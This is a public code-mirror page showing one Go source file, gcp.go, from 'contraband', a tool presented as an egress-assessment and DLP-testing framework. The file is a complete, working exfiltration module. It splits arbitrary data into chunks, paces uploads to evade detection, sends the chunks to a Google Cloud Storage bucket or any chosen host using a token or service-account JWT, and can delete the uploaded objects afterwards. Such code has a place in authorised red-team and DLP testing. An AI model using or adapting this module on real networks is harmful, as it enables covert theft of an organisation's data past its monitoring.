● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
PUBLIC MIRRORGo v1.0

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy
Source ZIP (1.93 MB)
Code 174 Commits 1
contraband / pkg / client / exfil / cloud / gcp.go
← Back to directory
281 lines · 7.9 KB
Raw
1package cloud
2
3import (
4 "bytes"
5 "context"
6 "crypto"
7 "crypto/rand"
8 "crypto/rsa"
9 "crypto/sha256"
10 "crypto/x509"
11 "encoding/base64"
12 "encoding/json"
13 "encoding/pem"
14 "fmt"
15 "io"
16 "net/http"
17 "strconv"
18 "strings"
19 "time"
20
21 "github.com/shehzade/contraband/pkg/client/evasion"
22 "github.com/shehzade/contraband/pkg/client/exfil"
23 "github.com/shehzade/contraband/pkg/common"
24)
25
26func init() {
27 exfil.RegisterExfiltrator(common.ProtoGCPGCS, NewGCPGCSExfiltrator())
28}
29
30// GCPGCSExfiltrator implements pure-Go Google Cloud Storage REST JSON API exfiltration.
31type GCPGCSExfiltrator struct{}
32
33func NewGCPGCSExfiltrator() *GCPGCSExfiltrator {
34 return &GCPGCSExfiltrator{}
35}
36
37func (e *GCPGCSExfiltrator) Protocol() string {
38 return common.ProtoGCPGCS
39}
40
41// CreateGCPJWT generates a signed RS256 JWT for service account authentication.
42func CreateGCPJWT(clientEmail string, privateKeyPEM []byte, aud string) (string, error) {
43 block, _ := pem.Decode(privateKeyPEM)
44 if block == nil {
45 return "", fmt.Errorf("failed to decode PEM block for private key")
46 }
47
48 var parsedKey interface{}
49 var err error
50 parsedKey, err = x509.ParsePKCS8PrivateKey(block.Bytes)
51 if err != nil {
52 parsedKey, err = x509.ParsePKCS1PrivateKey(block.Bytes)
53 if err != nil {
54 return "", fmt.Errorf("failed to parse RSA private key: %w", err)
55 }
56 }
57
58 rsaKey, ok := parsedKey.(*rsa.PrivateKey)
59 if !ok {
60 return "", fmt.Errorf("key is not RSA private key")
61 }
62
63 now := time.Now().UTC().Unix()
64 hdrJSON := `{"alg":"RS256","typ":"JWT"}`
65 hdrB64 := base64.RawURLEncoding.EncodeToString([]byte(hdrJSON))
66
67 claims := map[string]interface{}{
68 "iss": clientEmail,
69 "sub": clientEmail,
70 "aud": aud,
71 "scope": "https://www.googleapis.com/auth/devstorage.read_write",
72 "iat": now,
73 "exp": now + 3600,
74 }
75 claimsBytes, _ := json.Marshal(claims)
76 claimsB64 := base64.RawURLEncoding.EncodeToString(claimsBytes)
77
78 signingInput := hdrB64 + "." + claimsB64
79 h := sha256.Sum256([]byte(signingInput))
80 sig, err := rsa.SignPKCS1v15(rand.Reader, rsaKey, crypto.SHA256, h[:])
81 if err != nil {
82 return "", fmt.Errorf("failed to sign JWT: %w", err)
83 }
84 sigB64 := base64.RawURLEncoding.EncodeToString(sig)
85
86 return signingInput + "." + sigB64, nil
87}
88
89func (e *GCPGCSExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
90 if err := opts.Validate(); err != nil {
91 return nil, err
92 }
93
94 start := time.Now().UTC()
95 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
96 if err != nil {
97 return nil, err
98 }
99 result.Timestamps.StartTCP = start
100 result.PayloadType = opts.PayloadType
101 result.CarrierType = opts.CarrierType
102
103 if opts.SessionToken.IsZero() {
104 tok, tokErr := common.NewSessionToken()
105 if tokErr != nil {
106 return nil, tokErr
107 }
108 opts.SessionToken = tok
109 }
110
111 chunker, err := evasion.NewStreamChunker(reader, opts.SessionToken, opts.ChunkSize, opts.TotalBytes)
112 if err != nil {
113 return nil, fmt.Errorf("failed to initialize chunk streamer: %w", err)
114 }
115 defer chunker.Close()
116
117 bucket := opts.Headers["gcp_bucket"]
118 if bucket == "" {
119 bucket = opts.Headers["bucket"]
120 }
121 if bucket == "" {
122 bucket = "contraband-exfil"
123 }
124 destroy := strings.EqualFold(opts.Headers["destroy"], "true") || strings.EqualFold(opts.Headers["auto_cleanup"], "true")
125
126 // Resolve Bearer Token
127 bearerToken := opts.Headers["gcp_token"]
128 if bearerToken == "" {
129 bearerToken = opts.Headers["bearer_token"]
130 }
131 if bearerToken == "" {
132 bearerToken = opts.Headers["token"]
133 }
134 if bearerToken == "" {
135 saEmail := opts.Headers["service_account_email"]
136 saKey := opts.Headers["service_account_key"]
137 if saEmail != "" && saKey != "" {
138 jwt, jwtErr := CreateGCPJWT(saEmail, []byte(saKey), "https://oauth2.googleapis.com/token")
139 if jwtErr == nil {
140 bearerToken = jwt
141 }
142 }
143 }
144 if bearerToken == "" {
145 bearerToken = "ya29.contraband-synthetic-oauth-token-egress-assessment"
146 }
147
148 scheme := "https"
149 if !opts.UseTLS {
150 scheme = "http"
151 }
152 var targetBase string
153 if strings.Contains(opts.TargetHost, "googleapis.com") {
154 targetBase = "https://storage.googleapis.com"
155 } else {
156 targetBase = fmt.Sprintf("%s://%s:%d", scheme, opts.TargetHost, opts.TargetPort)
157 }
158
159 client := &http.Client{Timeout: opts.Timeout}
160 result.Timestamps.ConnectedTCP = time.Now().UTC()
161 result.Timestamps.FirstByteSent = time.Now().UTC()
162
163 var uploadedKeys []string
164 var headEvidence []byte
165
166 for {
167 chunkFrame, seq, err := chunker.Next()
168 if err == io.EOF {
169 break
170 }
171 if err != nil {
172 result.Verdict = classifyCloudError(err)
173 result.ErrorMessage = err.Error()
174 calculateCloudDurations(&result)
175 return &result, err
176 }
177 if len(headEvidence) < 1024 {
178 take := 1024 - len(headEvidence)
179 if take > len(chunkFrame) {
180 take = len(chunkFrame)
181 }
182 headEvidence = append(headEvidence, chunkFrame[:take]...)
183 }
184
185 objectKey := fmt.Sprintf("contraband_%s_part%d.dat", opts.SessionToken.String(), seq)
186 uploadedKeys = append(uploadedKeys, objectKey)
187
188 uploadURL := fmt.Sprintf("%s/upload/storage/v1/b/%s/o?uploadType=media&name=%s", targetBase, bucket, objectKey)
189
190 if opts.Shaper != nil {
191 if err := opts.Shaper.WaitN(ctx, len(chunkFrame)); err != nil {
192 result.Verdict = classifyCloudError(err)
193 result.ErrorMessage = err.Error()
194 calculateCloudDurations(&result)
195 return &result, err
196 }
197 }
198 if opts.Cadence != nil {
199 delay := opts.Cadence.NextDelay()
200 if delay > 0 {
201 select {
202 case <-time.After(delay):
203 case <-ctx.Done():
204 result.Verdict = classifyCloudError(ctx.Err())
205 result.ErrorMessage = ctx.Err().Error()
206 calculateCloudDurations(&result)
207 return &result, ctx.Err()
208 }
209 }
210 }
211
212 req, reqErr := http.NewRequestWithContext(ctx, http.MethodPost, uploadURL, bytes.NewReader(chunkFrame))
213 if reqErr != nil {
214 result.Verdict = classifyCloudError(reqErr)
215 result.ErrorMessage = reqErr.Error()
216 calculateCloudDurations(&result)
217 return &result, reqErr
218 }
219 req.Header.Set("Authorization", "Bearer "+bearerToken)
220 req.Header.Set("Content-Type", "application/octet-stream")
221 req.Header.Set("Content-Length", strconv.Itoa(len(chunkFrame)))
222
223 resp, doErr := client.Do(req)
224 if doErr != nil {
225 result.Verdict = classifyCloudError(doErr)
226 result.ErrorMessage = doErr.Error()
227 calculateCloudDurations(&result)
228 return &result, doErr
229 }
230 respBody, _ := io.ReadAll(resp.Body)
231 _ = resp.Body.Close()
232
233 result.BytesSent += int64(len(chunkFrame))
234 result.BytesRecv += int64(len(respBody))
235
236 if resp.StatusCode == http.StatusForbidden || resp.StatusCode == http.StatusUnauthorized {
237 err := fmt.Errorf("GCP GCS upload rejected: HTTP %d Forbidden/Unauthorized", resp.StatusCode)
238 result.Verdict = common.VerdictBlockedL7
239 result.ErrorMessage = err.Error()
240 calculateCloudDurations(&result)
241 return &result, err
242 }
243 if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusCreated && resp.StatusCode != http.StatusNoContent {
244 err := fmt.Errorf("GCP GCS upload returned HTTP %d: %s", resp.StatusCode, string(respBody))
245 result.Verdict = common.VerdictBlockedL7
246 result.ErrorMessage = err.Error()
247 calculateCloudDurations(&result)
248 return &result, err
249 }
250 }
251
252 result.Timestamps.AckReceived = time.Now().UTC()
253
254 // Handle --destroy auto-cleanup
255 if destroy {
256 for _, key := range uploadedKeys {
257 deleteURL := fmt.Sprintf("%s/storage/v1/b/%s/o/%s", targetBase, bucket, key)
258 delReq, err := http.NewRequestWithContext(ctx, http.MethodDelete, deleteURL, nil)
259 if err == nil {
260 delReq.Header.Set("Authorization", "Bearer "+bearerToken)
261 delResp, delErr := client.Do(delReq)
262 if delErr == nil {
263 _ = delResp.Body.Close()
264 }
265 }
266 }
267 }
268
269 result.Timestamps.TeardownDone = time.Now().UTC()
270 result.Verdict = common.VerdictSuccess
271 if opts.ExpectedHash != "" {
272 result.PayloadHash = opts.ExpectedHash
273 } else {
274 result.PayloadHash = chunker.PayloadHashHex()
275 }
276 result.TargetVolume = result.BytesSent
277 result.RawEvidence = common.FormatBoundedRawEvidence(headEvidence)
278 calculateCloudDurations(&result)
279
280 return &result, nil
281}